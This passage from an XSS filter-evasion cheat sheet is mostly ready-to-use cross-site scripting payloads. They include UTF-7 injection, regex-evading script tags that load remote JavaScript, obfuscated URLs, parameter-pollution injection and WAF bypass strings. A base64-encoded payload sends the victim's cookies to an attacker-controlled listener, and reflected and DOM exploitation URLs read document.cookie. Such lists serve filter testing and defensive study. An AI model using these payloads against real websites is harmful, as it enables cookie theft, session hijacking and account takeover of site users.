If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:

```
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-
alert('XSS');+ADw-/SCRIPT+AD4-
```

XSS Using HTML Quote Encapsulation

This was tested in IE, your mileage may vary. For performing XSS on sites that allow `<SCRIPT>` but don't allow `<SCRIPT SRC...` by way of a regex filter `/\<script\[^\>\]+src/i`:

```
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

For performing XSS on sites that allow `<SCRIPT>` but don't allow `\<script src...` by way of a regex filter `/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i` (this is an important one, because I've seen this regex in the wild):

```
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

Another XSS to evade the same filter, `/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i`:

```
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

Yet another XSS to evade the same filter, `/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i`. I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow `<SCRIPT>` tags but not remote script is a state machine (and of course there are other ways to get around this if they allow `<SCRIPT>` tags):

```
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

And one last XSS attack to evade, `/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i` using grave accents (again, doesn't work in Firefox):

```
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:

```
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

```
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
```

URL String Evasion

Assuming `http://www.google.com/` is programmatically disallowed:

IP Versus Hostname

```
<A HREF="http://66.102.7.147/">XSS</A>
```

URL Encoding

```
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
```

DWORD Encoding

Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details:

```
<A HREF="http://1113982867/">XSS</A>
```

Hex Encoding

The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):

```
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
```

Octal Encoding

Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:

```
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
```

Base64 Encoding

```
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
```

Mixed Encoding

Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

```
<A HREF="h
tt  p://6   6.000146.0x7.147/">XSS</A>
```

Protocol Resolution Bypass

`//` translates to `http://` which saves a few more bytes. This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like `(ht|f)tp(s)?://` (thanks to Ozh for part of this one). You can also change the `//` to `\\\\`. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.

```
<A HREF="//www.google.com/">XSS</A>
```

Google "feeling lucky" part 1

Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's `keyword:` protocol. You can concatenate several keywords by using something like the following `keyword:XSS+RSnake` for instance. This no longer works within Firefox as of 2.0.

```
<A HREF="//google">XSS</A>
```

Google "feeling lucky" part 2

This uses a very tiny trick that appears to work Firefox only, because of it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result

of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:

```
<A HREF="http://ha.ckers.org@google">XSS</A>
```

Google "feeling lucky" part 3

This uses a malformed URL that appears to work in Firefox and Opera only, because of their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):

```
<A HREF="http://google:ha.ckers.org">XSS</A>
```

Removing CNAMEs

When combined with the above URL, removing `www.` will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):

```
<A HREF="http://google.com/">XSS</A>
```

Extra dot for absolute DNS:

```
<A HREF="http://www.google.com./">XSS</A>
```

JavaScript Link Location

```
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
```

Content Replace as Attack Vector

Assuming `http://www.google.com/` is programmatically replaced with nothing). I actually used a similar attack vector against several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: `java&\#x09;script:` was converted into `java script:`, which renders in IE, Netscape 8.1+ in secure site mode and Opera):

```
<A HREF="http://www.google.com/ogle.com/">XSS</A>
```

Assisting XSS with HTTP Parameter Pollution

Assume a content sharing flow on a web site is implemented as shown below. There is a "Content" page which includes some content provided by users and this page also includes a link to "Share" page which enables a user choose their favorite social sharing platform to share it on. Developers HTML encoded the "title" parameter in the "Content" page to prevent against XSS but for some reasons they didn't URL encoded this parameter to prevent from HTTP Parameter Pollution. Finally they decide that since content_type's value is a constant and will always be integer, they didn't encode or validate the content_type in the "Share" page.

Content Page Source Code

```
a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>
```

Share Page Source Code

```
<script>
var contentType = <%=Request.getParameter("content_type")%>;
var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
...
//some user agreement and sending to server logic might be here
...
</script>
```

Content Page Output

In this case if attacker set untrusted content title as “This is a regular title&content_type=1;alert(1)” the link in "Content" page would be this:

```
<a href="/share?content_type=1&title=This is a regular title&amp;content_type=1;alert(1)">Share</a>
```

Share Page Output

And in share page output could be this:

```
<script>
var contentType = 1; alert(1);
var title = "This is a regular title";
…
//some user agreement and sending to server logic might be here
…
</script>
```

As a result, in this example the main flaw is trusting the content_type in the "Share" page without proper encoding or validation. HTTP Parameter Pollution could increase impact of the XSS flaw by promoting it from a reflected XSS to a stored XSS.

Character Escape Sequences

All the possible combinations of the character "\<" in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.

- `<`
- `%3C`
- `&lt`
- `<`
- `&LT`
- `&LT;`
- `&#60;`
- `&#060;`
- `&#0060;`
- `&#00060;`
- `&#000060;`
- `&#0000060;`
- `&#60;`
- `&#060;`
- `&#0060;`
- `&#00060;`
- `&#000060;`
- `&#0000060;`
- `&#x3c;`
- `&#x03c;`
- `&#x003c;`
- `&#x0003c;`

- `&#x00003c;`
- `&#x000003c;`
- `&#x3c;`
- `&#x03c;`
- `&#x003c;`
- `&#x0003c;`
- `&#x00003c;`
- `&#x000003c;`
- `&#X3c;`
- `&#X03c;`
- `&#X003c;`
- `&#X0003c;`
- `&#X00003c;`
- `&#X000003c;`
- `&#X3c;`
- `&#X03c;`
- `&#X003c;`
- `&#X0003c;`
- `&#X00003c;`
- `&#X000003c;`
- `&#x3C;`
- `&#x03C;`
- `&#x003C;`
- `&#x0003C;`
- `&#x00003C;`
- `&#x000003C;`
- `&#x3C;`
- `&#x03C;`
- `&#x003C;`
- `&#x0003C;`
- `&#x00003C;`
- `&#x000003C;`
- `&#X3C;`
- `&#X03C;`
- `&#X003C;`
- `&#X0003C;`
- `&#X00003C;`
- `&#X000003C;`
- `&#X3C;`
- `&#X03C;`

- `<`
- `<`
- `<`
- `<`
- `\x3c`
- `\x3C`
- `\u003c`
- `\u003C`

Methods to Bypass WAF – Cross-Site Scripting

General issues

Stored XSS

If an attacker managed to push XSS through the filter, WAF wouldn't be able to prevent the attack conduction.

Reflected XSS in JavaScript

```
Example: <script> ... setTimeout(\\"writetitle()\\",$\_GET\[xss\]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);//
```

DOM-based XSS

```
Example: <script> ... eval($\_GET\[xss\]); ... </script>
Exploitation: /?xss=document.cookie
```

XSS via request Redirection

- Vulnerable code:

```
...
header('Location: '.$_GET['param']);
...
```

As well as:

```
..
header('Refresh: 0; URL='.$_GET['param']);
...
```

- This request will not pass through the WAF:

`/?param=<javascript:alert(document.cookie>)`

- This request will pass through the WAF and an XSS attack will be conducted in certain browsers.

`/?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=`

WAF ByPass Strings for XSS

- `<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">`
- `<Video> <source onerror = "javascript: alert (XSS)">`
- `<Input value = "XSS" type = text>`

- `<applet code="javascript:confirm(document.cookie);">`
- `<isindex x="javascript:" onmouseover="alert(XSS)">`
- `"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>`
- `"><img src="x:x" onerror="alert(XSS)">`
- `"><iframe src="javascript:alert(XSS)">`
- `<object data="javascript:alert(XSS)">`
- `<isindex type=image src=1 onerror=alert(XSS)>`
- `<img src=x:alert(alt) onerror=eval(src) alt=0>`
- `<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>`
- `<iframe/src="data:text/html,<svg onload=alert(1)>">`
- `<meta content="
 1
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>`
- `<svg><script xlink:href=data:,window.open('https://www.google.com/')></script`
- `<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">`
- `<iframe src=javascript:alert(document.location)>`
- `<form><a href="javascript:\u0061lert(1)">X`
- `</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>`
- `<style>//*{x:expression(alert(/xss/))}//<style></style>`
- On Mouse Over
- `<img src="/" =_=" title="onerror='prompt(1)'">`
- `<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe`
- `<script x> alert(1) </script 1=2`
- `<form><button formaction=javascript:alert(1)>CLICKME`
- `<input/onmouseover="javaSCRIPT:confirm(1)"`
- `<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>`
- `<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>`

Filter Bypass Alert Obfuscation

- `(alert)(1)`
- `a=alert,a(1)`
- `[1].find(alert)`
- `top[“al”+”ert”](1)`
- `top[/al/.source+/ert/.source](1)`
- `al\u0065rt(1)`
- `top[‘al\145rt’](1)`
- `top[‘al\x65rt’](1)`
- `top[8680439..toString(30)](1)`
- `alert?.()`

- `` `${alert``}` `` (The payload should include leading and trailing backticks.)
- `(alert())`